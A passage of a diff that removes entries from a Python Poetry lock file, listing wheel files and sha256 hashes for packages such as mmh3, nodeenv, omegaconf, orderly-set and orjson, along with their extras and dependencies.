-    {file = "mmh3-5.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:b5f317a727bba0e633a12e71228bc6a4acb4f471a98b1c003163b917311ea9a9"},
-    {file = "mmh3-5.2.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:384eda9361a7bf83a85e09447e1feafe081034af9dd428893701b959230d84be"},
-    {file = "mmh3-5.2.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2c9da0d568569cc87315cb063486d761e38458b8ad513fedd3dc9263e1b81bcd"},
-    {file = "mmh3-5.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86d1be5d63232e6eb93c50881aea55ff06eb86d8e08f9b5417c8c9b10db9db96"},
-    {file = "mmh3-5.2.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bf7bee43e17e81671c447e9c83499f53d99bf440bc6d9dc26a841e21acfbe094"},
-    {file = "mmh3-5.2.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7aa18cdb58983ee660c9c400b46272e14fa253c675ed963d3812487f8ca42037"},
-    {file = "mmh3-5.2.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ae9d032488fcec32d22be6542d1a836f00247f40f320844dbb361393b5b22773"},
-    {file = "mmh3-5.2.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1861fb6b1d0453ed7293200139c0a9011eeb1376632e048e3766945b13313c5"},
-    {file = "mmh3-5.2.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:99bb6a4d809aa4e528ddfe2c85dd5239b78b9dd14be62cca0329db78505e7b50"},
-    {file = "mmh3-5.2.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1f8d8b627799f4e2fcc7c034fed8f5f24dc7724ff52f69838a3d6d15f1ad4765"},
-    {file = "mmh3-5.2.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:b5995088dd7023d2d9f310a0c67de5a2b2e06a570ecfd00f9ff4ab94a67cde43"},
-    {file = "mmh3-5.2.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:1a5f4d2e59d6bba8ef01b013c472741835ad961e7c28f50c82b27c57748744a4"},
-    {file = "mmh3-5.2.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fd6e6c3d90660d085f7e73710eab6f5545d4854b81b0135a3526e797009dbda3"},
-    {file = "mmh3-5.2.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c4a2f3d83879e3de2eb8cbf562e71563a8ed15ee9b9c2e77ca5d9f73072ac15c"},
-    {file = "mmh3-5.2.0-cp312-cp312-win32.whl", hash = "sha256:2421b9d665a0b1ad724ec7332fb5a98d075f50bc51a6ff854f3a1882bd650d49"},
-    {file = "mmh3-5.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:72d80005b7634a3a2220f81fbeb94775ebd12794623bb2e1451701ea732b4aa3"},
-    {file = "mmh3-5.2.0-cp312-cp312-win_arm64.whl", hash = "sha256:3d6bfd9662a20c054bc216f861fa330c2dac7c81e7fb8307b5e32ab5b9b4d2e0"},
-    {file = "mmh3-5.2.0-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:e79c00eba78f7258e5b354eccd4d7907d60317ced924ea4a5f2e9d83f5453065"},
-    {file = "mmh3-5.2.0-cp313-cp313-android_21_x86_64.whl", hash = "sha256:956127e663d05edbeec54df38885d943dfa27406594c411139690485128525de"},
-    {file = "mmh3-5.2.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:c3dca4cb5b946ee91b3d6bb700d137b1cd85c20827f89fdf9c16258253489044"},
-    {file = "mmh3-5.2.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:e651e17bfde5840e9e4174b01e9e080ce49277b70d424308b36a7969d0d1af73"},
-    {file = "mmh3-5.2.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:9f64bf06f4bf623325fda3a6d02d36cd69199b9ace99b04bb2d7fd9f89688504"},
-    {file = "mmh3-5.2.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ddc63328889bcaee77b743309e5c7d2d52cee0d7d577837c91b6e7cc9e755e0b"},
-    {file = "mmh3-5.2.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:bb0fdc451fb6d86d81ab8f23d881b8d6e37fc373a2deae1c02d27002d2ad7a05"},
-    {file = "mmh3-5.2.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b29044e1ffdb84fe164d0a7ea05c7316afea93c00f8ed9449cf357c36fc4f814"},
-    {file = "mmh3-5.2.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:58981d6ea9646dbbf9e59a30890cbf9f610df0e4a57dbfe09215116fd90b0093"},
-    {file = "mmh3-5.2.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7e5634565367b6d98dc4aa2983703526ef556b3688ba3065edb4b9b90ede1c54"},
-    {file = "mmh3-5.2.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0271ac12415afd3171ab9a3c7cbfc71dee2c68760a7dc9d05bf8ed6ddfa3a7a"},
-    {file = "mmh3-5.2.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:45b590e31bc552c6f8e2150ff1ad0c28dd151e9f87589e7eaf508fbdd8e8e908"},
-    {file = "mmh3-5.2.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bdde97310d59604f2a9119322f61b31546748499a21b44f6715e8ced9308a6c5"},
-    {file = "mmh3-5.2.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:fc9c5f280438cf1c1a8f9abb87dc8ce9630a964120cfb5dd50d1e7ce79690c7a"},
-    {file = "mmh3-5.2.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:c903e71fd8debb35ad2a4184c1316b3cb22f64ce517b4e6747f25b0a34e41266"},
-    {file = "mmh3-5.2.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:eed4bba7ff8a0d37106ba931ab03bdd3915fbb025bcf4e1f0aa02bc8114960c5"},
-    {file = "mmh3-5.2.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:1fdb36b940e9261aff0b5177c5b74a36936b902f473180f6c15bde26143681a9"},
-    {file = "mmh3-5.2.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7303aab41e97adcf010a09efd8f1403e719e59b7705d5e3cfed3dd7571589290"},
-    {file = "mmh3-5.2.0-cp313-cp313-win32.whl", hash = "sha256:03e08c6ebaf666ec1e3d6ea657a2d363bb01effd1a9acfe41f9197decaef0051"},
-    {file = "mmh3-5.2.0-cp313-cp313-win_amd64.whl", hash = "sha256:7fddccd4113e7b736706e17a239a696332360cbaddf25ae75b57ba1acce65081"},
-    {file = "mmh3-5.2.0-cp313-cp313-win_arm64.whl", hash = "sha256:fa0c966ee727aad5406d516375593c5f058c766b21236ab8985693934bb5085b"},
-    {file = "mmh3-5.2.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:e5015f0bb6eb50008bed2d4b1ce0f2a294698a926111e4bb202c0987b4f89078"},
-    {file = "mmh3-5.2.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:e0f3ed828d709f5b82d8bfe14f8856120718ec4bd44a5b26102c3030a1e12501"},
-    {file = "mmh3-5.2.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:f35727c5118aba95f0397e18a1a5b8405425581bfe53e821f0fb444cbdc2bc9b"},
-    {file = "mmh3-5.2.0-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:3bc244802ccab5220008cb712ca1508cb6a12f0eb64ad62997156410579a1770"},
-    {file = "mmh3-5.2.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:ff3d50dc3fe8a98059f99b445dfb62792b5d006c5e0b8f03c6de2813b8376110"},
-    {file = "mmh3-5.2.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:37a358cc881fe796e099c1db6ce07ff757f088827b4e8467ac52b7a7ffdca647"},
-    {file = "mmh3-5.2.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b9a87025121d1c448f24f27ff53a5fe7b6ef980574b4a4f11acaabe702420d63"},
-    {file = "mmh3-5.2.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1ba55d6ca32eeef8b2625e1e4bfc3b3db52bc63014bd7e5df8cc11bf2b036b12"},
-    {file = "mmh3-5.2.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c9ff37ba9f15637e424c2ab57a1a590c52897c845b768e4e0a4958084ec87f22"},
-    {file = "mmh3-5.2.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a094319ec0db52a04af9fdc391b4d39a1bc72bc8424b47c4411afb05413a44b5"},
-    {file = "mmh3-5.2.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c5584061fd3da584659b13587f26c6cad25a096246a481636d64375d0c1f6c07"},
-    {file = "mmh3-5.2.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ecbfc0437ddfdced5e7822d1ce4855c9c64f46819d0fdc4482c53f56c707b935"},
-    {file = "mmh3-5.2.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:7b986d506a8e8ea345791897ba5d8ba0d9d8820cd4fc3e52dbe6de19388de2e7"},
-    {file = "mmh3-5.2.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:38d899a156549da8ef6a9f1d6f7ef231228d29f8f69bce2ee12f5fba6d6fd7c5"},
-    {file = "mmh3-5.2.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d86651fa45799530885ba4dab3d21144486ed15285e8784181a0ab37a4552384"},
-    {file = "mmh3-5.2.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:c463d7c1c4cfc9d751efeaadd936bbba07b5b0ed81a012b3a9f5a12f0872bd6e"},
-    {file = "mmh3-5.2.0-cp314-cp314-win32.whl", hash = "sha256:bb4fe46bdc6104fbc28db7a6bacb115ee6368ff993366bbd8a2a7f0076e6f0c0"},
-    {file = "mmh3-5.2.0-cp314-cp314-win_amd64.whl", hash = "sha256:7c7f0b342fd06044bedd0b6e72177ddc0076f54fd89ee239447f8b271d919d9b"},
-    {file = "mmh3-5.2.0-cp314-cp314-win_arm64.whl", hash = "sha256:3193752fc05ea72366c2b63ff24b9a190f422e32d75fdeae71087c08fff26115"},
-    {file = "mmh3-5.2.0-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:69fc339d7202bea69ef9bd7c39bfdf9fdabc8e6822a01eba62fb43233c1b3932"},
-    {file = "mmh3-5.2.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:12da42c0a55c9d86ab566395324213c319c73ecb0c239fad4726324212b9441c"},
-    {file = "mmh3-5.2.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:f7f9034c7cf05ddfaac8d7a2e63a3c97a840d4615d0a0e65ba8bdf6f8576e3be"},
-    {file = "mmh3-5.2.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:11730eeb16dfcf9674fdea9bb6b8e6dd9b40813b7eb839bc35113649eef38aeb"},
-    {file = "mmh3-5.2.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:932a6eec1d2e2c3c9e630d10f7128d80e70e2d47fe6b8c7ea5e1afbd98733e65"},
-    {file = "mmh3-5.2.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ca975c51c5028947bbcfc24966517aac06a01d6c921e30f7c5383c195f87991"},
-    {file = "mmh3-5.2.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5b0b58215befe0f0e120b828f7645e97719bbba9f23b69e268ed0ac7adde8645"},
-    {file = "mmh3-5.2.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:29c2b9ce61886809d0492a274a5a53047742dea0f703f9c4d5d223c3ea6377d3"},
-    {file = "mmh3-5.2.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:a367d4741ac0103f8198c82f429bccb9359f543ca542b06a51f4f0332e8de279"},
-    {file = "mmh3-5.2.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:5a5dba98e514fb26241868f6eb90a7f7ca0e039aed779342965ce24ea32ba513"},
-    {file = "mmh3-5.2.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:941603bfd75a46023807511c1ac2f1b0f39cccc393c15039969806063b27e6db"},
-    {file = "mmh3-5.2.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:132dd943451a7c7546978863d2f5a64977928410782e1a87d583cb60eb89e667"},
-    {file = "mmh3-5.2.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f698733a8a494466432d611a8f0d1e026f5286dee051beea4b3c3146817e35d5"},
-    {file = "mmh3-5.2.0-cp314-cp314t-win32.whl", hash = "sha256:6d541038b3fc360ec538fc116de87462627944765a6750308118f8b509a8eec7"},
-    {file = "mmh3-5.2.0-cp314-cp314t-win_amd64.whl", hash = "sha256:e912b19cf2378f2967d0c08e86ff4c6c360129887f678e27e4dde970d21b3f4d"},
-    {file = "mmh3-5.2.0-cp314-cp314t-win_arm64.whl", hash = "sha256:e7884931fe5e788163e7b3c511614130c2c59feffdc21112290a194487efb2e9"},
-    {file = "mmh3-5.2.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:3c6041fd9d5fb5fcac57d5c80f521a36b74aea06b8566431c63e4ffc49aced51"},
-    {file = "mmh3-5.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:58477cf9ef16664d1ce2b038f87d2dc96d70fe50733a34a7f07da6c9a5e3538c"},
-    {file = "mmh3-5.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:be7d3dca9358e01dab1bad881fb2b4e8730cec58d36dd44482bc068bfcd3bc65"},
-    {file = "mmh3-5.2.0-cp39-cp39-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:931d47e08c9c8a67bf75d82f0ada8399eac18b03388818b62bfa42882d571d72"},
-    {file = "mmh3-5.2.0-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:dd966df3489ec13848d6c6303429bbace94a153f43d1ae2a55115fd36fd5ca5d"},
-    {file = "mmh3-5.2.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c677d78887244bf3095020b73c42b505b700f801c690f8eaa90ad12d3179612f"},
-    {file = "mmh3-5.2.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63830f846797187c5d3e2dae50f0848fdc86032f5bfdc58ae352f02f857e9025"},
-    {file = "mmh3-5.2.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c3f563e8901960e2eaa64c8e8821895818acabeb41c96f2efbb936f65dbe486c"},
-    {file = "mmh3-5.2.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:96f1e1ac44cbb42bcc406e509f70c9af42c594e72ccc7b1257f97554204445f0"},
-    {file = "mmh3-5.2.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:7bbb0df897944b5ec830f3ad883e32c5a7375370a521565f5fe24443bfb2c4f7"},
-    {file = "mmh3-5.2.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:1fae471339ae1b9c641f19cf46dfe6ffd7f64b1fba7c4333b99fa3dd7f21ae0a"},
-    {file = "mmh3-5.2.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:aa6e5d31fdc5ed9e3e95f9873508615a778fe9b523d52c17fc770a3eb39ab6e4"},
-    {file = "mmh3-5.2.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:746a5ee71c6d1103d9b560fa147881b5e68fd35da56e54e03d5acefad0e7c055"},
-    {file = "mmh3-5.2.0-cp39-cp39-win32.whl", hash = "sha256:10983c10f5c77683bd845751905ba535ec47409874acc759d5ce3ff7ef34398a"},
-    {file = "mmh3-5.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:fdfd3fb739f4e22746e13ad7ba0c6eedf5f454b18d11249724a388868e308ee4"},
-    {file = "mmh3-5.2.0-cp39-cp39-win_arm64.whl", hash = "sha256:33576136c06b46a7046b6d83a3d75fbca7d25f84cec743f1ae156362608dc6d2"},
-    {file = "mmh3-5.2.0.tar.gz", hash = "sha256:1efc8fec8478e9243a78bb993422cf79f8ff85cb4cf6b79647480a31e0d950a8"},
-]
-
-[package.extras]
-benchmark = ["pymmh3 (==0.0.5)", "pyperf (==2.9.0)", "xxhash (==3.5.0)"]
-docs = ["myst-parser (==4.0.1)", "shibuya (==2025.7.24)", "sphinx (==8.2.3)", "sphinx-copybutton (==0.5.2)"]
-lint = ["black (==25.1.0)", "clang-format (==20.1.8)", "isort (==6.0.1)", "pylint (==3.3.7)"]
-plot = ["matplotlib (==3.10.3)", "pandas (==2.3.1)"]
-test = ["pytest (==8.4.1)", "pytest-sugar (==1.0.0)"]
-type = ["mypy (==1.17.0)"]
-
-[[package]]
-name = "nodeenv"
-version = "1.10.0"
-description = "Node.js virtual environment builder"
-optional = false
-python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7"
-groups = ["dev"]
-files = [
-    {file = "nodeenv-1.10.0-py2.py3-none-any.whl", hash = "sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827"},
-    {file = "nodeenv-1.10.0.tar.gz", hash = "sha256:996c191ad80897d076bdfba80a41994c2b47c68e224c542b48feba42ba00f8bb"},
-]
-
-[[package]]
-name = "omegaconf"
-version = "2.3.0"
-description = "A flexible configuration library"
-optional = false
-python-versions = ">=3.6"
-groups = ["main"]
-files = [
-    {file = "omegaconf-2.3.0-py3-none-any.whl", hash = "sha256:7b4df175cdb08ba400f45cae3bdcae7ba8365db4d165fc65fd04b050ab63b46b"},
-    {file = "omegaconf-2.3.0.tar.gz", hash = "sha256:d5d4b6d29955cc50ad50c46dc269bcd92c6e00f5f90d23ab5fee7bfca4ba4cc7"},
-]
-
-[package.dependencies]
-antlr4-python3-runtime = "==4.9.*"
-PyYAML = ">=5.1.0"
-
-[[package]]
-name = "orderly-set"
-version = "5.5.0"
-description = "Orderly set"
-optional = false
-python-versions = ">=3.8"
-groups = ["main"]
-files = [
-    {file = "orderly_set-5.5.0-py3-none-any.whl", hash = "sha256:46f0b801948e98f427b412fcabb831677194c05c3b699b80de260374baa0b1e7"},
-    {file = "orderly_set-5.5.0.tar.gz", hash = "sha256:e87185c8e4d8afa64e7f8160ee2c542a475b738bc891dc3f58102e654125e6ce"},
-]
-
-[package.extras]
-coverage = ["coverage (>=7.6.0,<7.7.0)"]
-dev = ["bump2version (>=1.0.0,<1.1.0)", "ipdb (>=0.13.0,<0.14.0)"]
-optimize = ["orjson"]
-static = ["flake8 (>=7.1.0,<7.2.0)", "flake8-pyproject (>=1.2.3,<1.3.0)"]
-test = ["pytest (>=8.3.0,<8.4.0)", "pytest-benchmark (>=5.1.0,<5.2.0)", "pytest-cov (>=6.0.0,<6.1.0)", "python-dotenv (>=1.0.0,<1.1.0)"]
-
-[[package]]
-name = "orjson"
-version = "3.11.9"
-description = "Fast, correct Python JSON library supporting dataclasses, datetimes, and numpy"
-optional = false
-python-versions = ">=3.10"
-groups = ["main"]
-files = [
-    {file = "orjson-3.11.9-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:135869ef917b8704ea0a94e01620e0c05021c15c52036e4663baffe75e72f8ce"},
-    {file = "orjson-3.11.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:115ab5f5f4a0f203cc2a5f0fb09aee503a3f771aa08392949ab5ca230c4fbdbd"},
-    {file = "orjson-3.11.9-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4da3c38a2083ca4aaf9c2a36776cce3e9328e6647b10d118948f3cfb4913ffe4"},
-    {file = "orjson-3.11.9-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:53b50b0e14084b8f7e29c5ce84c5af0f1160169b30d8a6914231d97d2fe297d4"},
-    {file = "orjson-3.11.9-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:231742b4a11dad8d5380a435962c57e91b7c37b79be858f4ef1c0df1a259897e"},
-    {file = "orjson-3.11.9-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:34fd2317602587321faab75ab76c623a0117e80841a6413654f04e47f339a8fb"},
-    {file = "orjson-3.11.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:71f3db16e69b667b132e0f305a833d5497da302d801508cbb051ed9a9819da47"},
-    {file = "orjson-3.11.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0b34789fa0da61cf7bef0546b09c738fb195331e017e477096d129e9105ab03d"},
-    {file = "orjson-3.11.9-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:87e4d4ab280b0c87424d47695bec2182caf8cfc17879ea78dab76680194abc13"},
-    {file = "orjson-3.11.9-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ace6c58523302d3b97b6ac5c38a5298a54b473762b6be82726b4265c41029f92"},
-    {file = "orjson-3.11.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:97d0d932803c1b164fde11cb542a9efcb1e0f63b184537cca65887147906ff48"},
-    {file = "orjson-3.11.9-cp310-cp310-win32.whl", hash = "sha256:b3afcf569c15577a9fe64627292daa3e6b3a70f4fb77a5df246a87ec21681b94"},
-    {file = "orjson-3.11.9-cp310-cp310-win_amd64.whl", hash = "sha256:8697ab6a080a5c46edaad50e2bc5bd8c7ca5c66442d24104fa44ec74910a8244"},
-    {file = "orjson-3.11.9-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:f01c4818b3fc9b0da8e096722a84318071eaa118df35f6ed2344da0e73a5444f"},
-    {file = "orjson-3.11.9-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:3ebca4179031ee716ed076ffadc29428e900512f6fccee8614c9983157fcf19c"},
-    {file = "orjson-3.11.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48ee05097750de0ff69ed5b7bbcf0732182fd57a24043dcc2a1da780a5ead3a5"},
-    {file = "orjson-3.11.9-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a6082706765a95a6680d812e1daf1c0cfe8adec7831b3ff3b625693f3b461b1c"},
-    {file = "orjson-3.11.9-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:277fefe9d76ee17eb14debf399e3533d4d63b5f677a4d3719eb763536af1f4bd"},
-    {file = "orjson-3.11.9-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:03db380e3780fa0015ed776a90f20e8e20bb11dde13b216ce19e5718e3dfba62"},
-    {file = "orjson-3.11.9-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33d7d766701847dc6729846362dc27895d2f2d2251264f9d10e7cb9878194877"},
-    {file = "orjson-3.11.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:147302878da387104b66bb4a8b0227d1d487e976ce41a8501916161072ed87b1"},
-    {file = "orjson-3.11.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3513550321f8c8c811a7c3297b8a630e82dc08e4c10216d07703c997776236cd"},
-    {file = "orjson-3.11.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:c5d001196b89fa9cf0a4ab79766cd835b991a166e4b621ba95089edc50c429ff"},
-    {file = "orjson-3.11.9-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:16969c9d369c98eb084889c6e4d2d39b77c7eb38ceccf8da2a9fff62ae908980"},
-    {file = "orjson-3.11.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:63e0efbc991250c0b3143488fa57d95affcabbfc63c99c48d625dd37779aafe2"},
-    {file = "orjson-3.11.9-cp311-cp311-win32.whl", hash = "sha256:14ed654580c1ed2bc217352ec82f91b047aef82951aa71c7f64e0dcb03c0e180"},
-    {file = "orjson-3.11.9-cp311-cp311-win_amd64.whl", hash = "sha256:57ea77fb70a448ce87d18fca050193202a3da5e54598f6501ca5476fb66cfe02"},
-    {file = "orjson-3.11.9-cp311-cp311-win_arm64.whl", hash = "sha256:19b72ed11572a2ee51a67a903afbe5af504f84ed6f529c0fe44b0ab3fb5cc697"},
-    {file = "orjson-3.11.9-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9ef6fe90aadef185c7b128859f40beb24720b4ecea95379fc9000931179c3a49"},
-    {file = "orjson-3.11.9-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:e5c9b8f28e726e97d97696c826bc7bea5d71cecd63576dba92924a32c1961291"},
-    {file = "orjson-3.11.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26a473dbb4162108b27901492546f83c76fdcea3d0eadff00ae7a07e18dcce09"},
-    {file = "orjson-3.11.9-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:011382e2a60fda9d46f1cdee31068cfc52ffe952b587d683ec0463002802a0f4"},
-    {file = "orjson-3.11.9-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2d3dc759490128c5c1711a53eeaa8ee1d437fd0038ffd2b6008abf46db3f882"},
-    {file = "orjson-3.11.9-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d8ea516b3726d190e1b4297e6f4e7a8650347ae053868a18163b4dd3641d1fff"},
-    {file = "orjson-3.11.9-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:380cdce7ba24989af81d0a7013d0aaec5d0e2a21734c0e2681b1bc4f141957fe"},
-    {file = "orjson-3.11.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:be4fa4f0af7fa18951f7ab3fc2148e223af211bf03f59e1c6034ec3f97f21d61"},
-    {file = "orjson-3.11.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a8f5f8bc7ce7d59f08d9f99fa510c06496164a24cb5f3d34537dbd9ca30132e2"},
-    {file = "orjson-3.11.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:4d7fde5501b944f83b3e665e1b31343ff6e154b15560a16b7130ea1e594a4206"},
-    {file = "orjson-3.11.9-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cde1a448023ba7d5bb4c01c5afb48894380b5e4956e0627266526587ef4e535f"},
-    {file = "orjson-3.11.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:71e63adb0e1f1ed5d9e168f50a91ceb93ae6420731d222dc7da5c69409aa47aa"},
-    {file = "orjson-3.11.9-cp312-cp312-win32.whl", hash = "sha256:2d057a602cdd19a0ad680417527c45b6961a095081c0f46fe0e03e304aac6470"},
-    {file = "orjson-3.11.9-cp312-cp312-win_amd64.whl", hash = "sha256:59e403b1cc5a676da8eaf31f6254801b7341b3e29efa85f92b48d272637e77be"},
-    {file = "orjson-3.11.9-cp312-cp312-win_arm64.whl", hash = "sha256:9af678d6488357948f1f84c6cd1c1d397c014e1ae2f98ae082a44eb48f602624"},
-    {file = "orjson-3.11.9-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:4bab1b2d6141fe7b32ae71dac905666ece4f94936efbfb13d55bb7739a3a6021"},
-    {file = "orjson-3.11.9-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:844417969855fc7a41be124aafe83dc424592a7f77cd4501900c67307122b92c"},
-    {file = "orjson-3.11.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffe02797b5e9f3a9d8292ddcd289b474ad13e81ad83cd1891a240811f1d2cb81"},
